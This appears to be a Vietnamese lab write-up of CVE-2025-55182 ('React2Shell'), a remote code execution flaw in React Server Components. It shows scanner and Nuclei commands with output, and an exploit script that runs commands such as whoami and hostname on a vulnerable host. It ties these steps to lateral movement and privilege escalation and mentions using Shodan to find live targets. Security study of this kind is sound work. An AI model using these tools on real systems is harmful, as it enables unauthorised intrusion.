Share
## https://sploitus.com/exploit?id=FC87C5D8-8FE4-516F-8C86-FF2150B1A826
# Mô phỏng khai thác React2Shell (CVE-2025-55182)

### Lưu ý:
- Tài liệu này chỉ phục vụ mục đích học tập và nghiên cứu bảo mật.
- Không sử dụng để tấn công hệ thống khi chưa có sự cho phép.

## 1. Tổng quan

CVE-2025-55182, còn được gọi là React2Shell, là một lỗ hổng Remote Code Execution (RCE) nghiêm trọng ảnh hưởng đến React Server Components (RSC).  Nó sử dụng giao thức Flight để giao tiếp giữa máy khách và máy chủ. Khi máy khách yêu cầu dữ liệu, máy chủ nhận được một payload, phân tích payload này, điều này có thể cho phép kẻ tấn công chèn các cấu trúc độc hại hay những đoạn code tùy ý mà React chấp nhận là hợp lệ.

| Mục | Nội dung |
|-----|---------|
| Mức độ | Critical (CVSS 10.0) |
| Loại | Unsafe Deserialization (CWE-502) |
| Phương thức tấn công | Remote, no authentication required |
| Các phiên bản ảnh hưởng: | React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 và Next.js: 15.0.0 – 15.0.4, 15.1.0 – 15.1.8, 15.2.0 – 15.2.5, 15.3.0 – 15.3.5, 15.4.0 – 15.4.7, 15.5.0 – 15.5.6, 16.0.0 – 16.0.6 |

## 2. Nguyên nhân
Server xử lý payload từ client mà không validate đầy đủ, cho phép attacker:
- Inject payload độc hại
- Thực thi code trên server
- Bị khai thác mà không cần xác thực người dùng vì đây là lỗ hổng trước khi xác thực.

Hoạt động khai thác liên quan đến lỗ hổng này đã được phát hiện từ ngày 5 tháng 12 năm 2025. Hầu hết các cuộc khai thác thành công đều bắt nguồn từ các cuộc đánh giá của các nhóm tấn công. Cả môi trường Windows và Linux đều bị ảnh hưởng.

## 3. Thực nghiệm
Cài đặt
```bash
pip install -r requirements.txt
```
Quét một máy chủ bị vulnerable:
```
python3 scanner.py -u https://example.com
```
Nhập đường dẫn cần quét (ở đây mình nhập máy vulnerable của mình là ``http://192.168.10.1:3000``)



Kết quả nhận được:



```bash
╰─ python3 scanner.py -u http://192.168.10.1:3000             

brought to you by assetnote

[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled

[VULNERABLE] http://192.168.10.1:3000 - Status: 303
```
#### Ngoài ra còn có thể quét thêm tùy theo mục đích khai thác của bạn:

Quét danh sách máy chủ:
```
python3 scanner.py -l hosts.txt
```
Quét bằng nhiều luồng và lưu kết quả:
```
python3 scanner.py -l hosts.txt -t 20 -o results.json
```
Quét với tiêu đề tùy chỉnh:
```
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
```
Quét các mục tiêu Windows:
```
python3 scanner.py -u https://example.com --windows
```
Sử dụng phương pháp phát hiện kênh phụ an toàn:
```
python3 scanner.py -u https://example.com --safe-check
```


Như bạn thấy, chúng ta đang gặp phải 1 lỗ hổng bảo mật, có nghĩa là máy chủ chúng ta cung cấp dễ bị tấn công bởi Attacker.

------------------------------------------------------------------------------------------------------------------------------------
### Nuclei
Bây giờ chúng ta sẽ sử dụng Nuclei để check xem máy chủ trên bị đính lỗ hổng gì có POC hay ko. Chức năng này hoạt động bằng cách gửi yêu cầu tùy chỉnh, giảm thiểu báo động giả (false positive) và hỗ trợ quét song song. 
```bash
nuclei -t scan.yaml -u http://192.168.10.1:3000
```
Kết quả đạt được
```bash
[INF] Current nuclei version: v3.7.1 (latest)
[INF] Current nuclei-templates version: v10.4.0 (latest)
[INF] New templates added in latest release: 94
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://192.168.10.1:3000
[INF] Scan completed in 431.97876ms. 1 matches found.
```


Hệ thống đã phát hiện ra máy chủ này bị vulnerable và có thể exploit bởi lỗ hổng CVE-2025-55182. Và từ đó bạn có thể thấy được nó là 1 lỗ hổng khá nguy hiểm và quan trọng đã có các POC rất nhiều trên nền tảng xã hội. ☺☺☺

## 4. Cách khai thác
Bạn có thể thấy chỉ cần với những thông tin này là đủ để xác nhận lỗ hổng bảo mật tồn tại trong ứng dụng trên. Để chứng mình rằng ứng dụng này có thể bị tận dụng để chạy một lệnh hoặc thực thi mã từ xa tôi sẽ bắt đầu PoC.
```http
chmod +x scanner.sh
```

#### Sử dụng
```bash
# Check xem đối phương có vulnerable ko
./datscan.sh -d example.com

# Thực thi lệnh kiểm tra user hiện tại
./datscan.sh -d example.com -c "whoami"

# With full URL
./datscan.sh -d example.com -c "uname -a"
```



Ý nghĩa:

Trả về user hiện tại đang chạy process server

Giúp xác định:
- ứng dụng chạy dưới quyền user nào
- mức độ quyền (low privilege hay admin)

=> Đây là lệnh cơ bản nhất để xác nhận RCE thành công
## Note

- `-d, --domain` -  domain/URL
- `-c, --command` - Lệnh cần thực thi (vd: `whoami, hostname,...`)

## Ví dụ

```bash
# Check xem tên máy
./datscan.sh -d http://192.168.10.1:3000/ -c hostname  

# Xác định phiên bản hệ điều hành
./datscan.sh -d http://192.168.10.1:3000/ -c ver 

# Kiểm tra command execution có hoạt động ổn định không
./datscan.sh -c "echo test"

./datscan.sh -d http://192.168.10.1:3000/ -c "echo %USERNAME%"

./datscan.sh -d http://192.168.10.1:3000/ -c "echo %COMPUTERNAME%"
```
| Ý nghĩa các lệnh thực thi | Nội dung |
|-----|---------|
| Trả về tên máy (host name) | Dùng để:- định danh hệ thống bị ảnh hưởng- phục vụ lateral movement (trong môi trường nội bộ) |
| Xác định phiên bản hệ điều hành | Quan trọng để:-đánh giá khả năng khai thác tiếp (privilege escalation)- chọn exploit phù hợp |
| Kiểm tra command execution | Dùng để debug payload / scanner |
| Trả về username hiện tại | Trong trường hợp này: -user là ADMIN → có thể có quyền cao - Quan trọng hơn whoami trong một số case Windows |
| Trả về tên máy | Trả về tên máy thông qua environment variable |

#### HÌNH ẢNH MINH HỌA SAU KHI THỰC THI



Đây là bước initial reconnaissance sau khi khai thác thành công.

``Giúp chúng ta xác nhận được: RCE hoạt động, xác định hệ điều hành,...``

## CHÚ Ý
Do bài thực nghiệm này tôi đang demo trong môi trường lab cá nhân để tránh ảnh hưởng đến việc phạm pháp nên việc sử dụng tiêu đề HTTP để đánh cắp dữ liệu, các đầu ra lớn hoặc các ký tự đặc biệt có thể gây ra:
- `ERR_INVALID_CHAR`
- Giảm bớt Response
- Timeouts



Các commands ngắn (ví dụ: `whoami`, `ver`) đáng tin cậy hơn để minh họa trong môi trường kiểm thử trên.

Nếu không thích bạn có thể sử dụng shodan để check những địa chỉ IP trực tiếp trên môi trường thực tế và làm như bài thực nghiệm trên của mình để khai thác (không khuyến khích).




Như đã lưu ý ở phần trên. Công cụ này chỉ dành cho mục đích giáo dục và kiểm thử bảo mật được ủy quyền. Không sử dụng công cụ này để kiểm thử trên các hệ thống mà bạn không sở hữu hoặc không có quyền kiểm thử.

## 5. Một số cách khắc phục lỗ hổng
- Không tin tưởng dữ liệu từ client
- Validate input chặt chẽ
- Cập nhật phiên bản
  - React: >= 19.0.1 / 19.1.2 / 19.2.1
  - Next.js: >= 15.0.5 / 16.0.7

## 6. Tài liệu tham khảo thêm
* CVE-2025-55182 – https://nvd.nist.gov/vuln/detail/CVE-2025-55182
* CVE-2025-55182 - https://www.dynatrace.com/news/blog/cve-2025-55182-react2shell-critical-vulnerability-what-it-is-and-what-to-do/